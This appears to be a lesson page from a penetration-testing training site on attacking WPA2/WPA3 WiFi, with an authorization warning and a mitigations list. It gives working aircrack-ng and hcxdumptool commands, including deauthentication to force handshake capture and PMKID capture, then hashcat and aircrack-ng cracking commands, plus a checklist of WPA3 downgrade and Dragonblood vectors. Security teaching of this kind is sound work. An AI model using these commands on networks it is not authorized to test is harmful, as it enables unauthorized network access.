Skip to content
Pwnversity
WIFI-WPAadvanced · 6 min · upd. 2026-10

WPA/WPA2/WPA3 Attacks

WPA2-PSK (pre-shared key) is the most common WiFi encryption in homes and SMBs. Its security depends entirely on the password’s strength: the attack is to capture the 4-way handshake (the greeting between client and AP on connecting) or the AP’s PMKID, and then crack it offline by trying passwords. If the key is weak, it falls; if it’s long and random, it’s infeasible. WPA3 replaces this with SAE/Dragonfly, far more robust, but keeps some vectors (transition mode, Dragonblood).

Only against your own network or an authorized lab/engagement. Capturing and cracking handshakes of other people’s networks is illegal.

In WPA2-PSK, the 4-way handshake does not transmit the PSK: both sides prove they know it by deriving session keys. But the captured frames contain material (ANonce, SNonce, MIC) that lets you verify offline whether a candidate password is correct, without touching the AP again. The attacker only needs to be in range and capture a handshake (or a PMKID, obtained from the AP itself with no client). From there, all the effort is offline computation: PSK strength is the only barrier. WPA3-SAE removes offline cracking of the handshake, but WPA2/WPA3 transition mode and early SAE implementations reintroduce risk.

The PMK is derived from the PSK and SSID (PBKDF2). The handshake exchanges nonces and a MIC used to derive the PTK; it is precisely that MIC that enables the offline dictionary attack.

sequenceDiagram
    participant C as Client (STA)
    participant AP as Access point
    participant A as Attacker (in range)
    Note over C,AP: PMK = PBKDF2(PSK, SSID)
    A->>C: deauth (forces a reconnect)
    AP->>C: M1: ANonce
    C->>AP: M2: SNonce + MIC
    AP->>C: M3: GTK + MIC
    C->>AP: M4: ACK
    Note over A: captures M1-M4 (or PMKID) and cracks offline
    A->>A: hashcat -m 22000 hash.22000 rockyou.txt
Ventana de terminal
airmon-ng check kill
airmon-ng start wlan0
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # focus the AP and save
# in another terminal, force a handshake by disconnecting a client
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

airodump-ng shows WPA handshake: <AP> in the header when it captures one.

There aren’t always clients to deauth. The PMKID attack obtains crackable material directly from the AP (if it includes the PMKID in the first message), with no client or full handshake:

Ventana de terminal
hcxdumptool -i wlan0mon -w dump.pcapng # capture (syntax varies by hcxdumptool version)
hcxpcapngtool -o hash.22000 dump.pcapng # extract PMKID and/or handshakes to format 22000

With the handshake or PMKID in format 22000 (hashcat’s current unified WPA mode; it replaces the old 2500/16800):

Ventana de terminal
# convert a .pcapng/.cap capture to format 22000
hcxpcapngtool -o hash.22000 capture.pcapng
# dictionary
hashcat -m 22000 hash.22000 rockyou.txt
# dictionary + rules
hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule
# mask (e.g. a typical 8-digit router default)
hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d
# classic alternative with aircrack-ng and a dictionary
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture.cap

The whole attack is offline: the key’s strength decides everything.

WPA3 replaces the handshake with SAE (Dragonfly), resistant to offline cracking. But vectors remain:

  • WPA2/WPA3 transition mode: an AP supporting both lets you force a WPA2 association (downgrade) and attack the handshake as WPA2.
  • Dragonblood (Vanhoef & Ronen, 2019): flaws in early SAE implementations. CVE-2019-9494 (cache-based side channel), CVE-2019-9496 (SAE reflection/denial), CVE-2019-9497/9498/9499 (EAP-pwd). They enable password side channels and downgrades on unpatched gear.
  • The KRACK family (Vanhoef, 2017) also targets key reinstallation in WPA2’s 4-way handshake: CVE-2017-13077 through CVE-2017-13082 and related; it affects the client and is fixed with patches.

In practice, a well-implemented and patched WPA3-only resists the offline attack.

On Enterprise networks there is no PSK: clients authenticate against a RADIUS via EAP. The typical attack is an evil twin with a fake RADIUS that captures the challenge/response (MSCHAPv2, crackable offline) — covered in Evil Twin and Captive Portals. WEP is historical and trivial: with enough IVs, aircrack-ng capture.cap recovers the key in minutes; if it shows up in an audit, it’s a critical finding.

  • Long, random password (a 15+ character phrase): it’s the only thing that stops offline cracking in WPA2.
  • Well-implemented WPA3-only (avoid transition mode where possible); patch firmware (Dragonblood, KRACK).
  • Disable WPS (hands over the key without cracking, see WPS Attacks) and WEP.
  • Enterprise (802.1X) with EAP-TLS (certificates) instead of PSK; validate the server certificate on clients.
  • 802.11w (PMF) to mitigate the deauth that forces the handshake; monitor mass deauth and anomalous PMKID requests with WIDS.
  • Capture the WPA2 4-way handshake (airodump-ng + aireplay-ng --deauth)
  • PMKID if no clients (hcxdumptool + hcxpcapngtool)
  • Convert to format 22000 and crack (hashcat -m 22000, aircrack-ng)
  • WPA3: transition mode? → attempt a downgrade to WPA2
  • Dragonblood (CVE-2019-9494/9496) on old SAE implementations
  • KRACK (CVE-2017-13077 and related) on unpatched clients
  • WEP if present (trivial crack with IVs)
  • Enterprise: evil twin RADIUS (Evil Twin and Captive Portals)
  • Assess the key’s real strength (impact)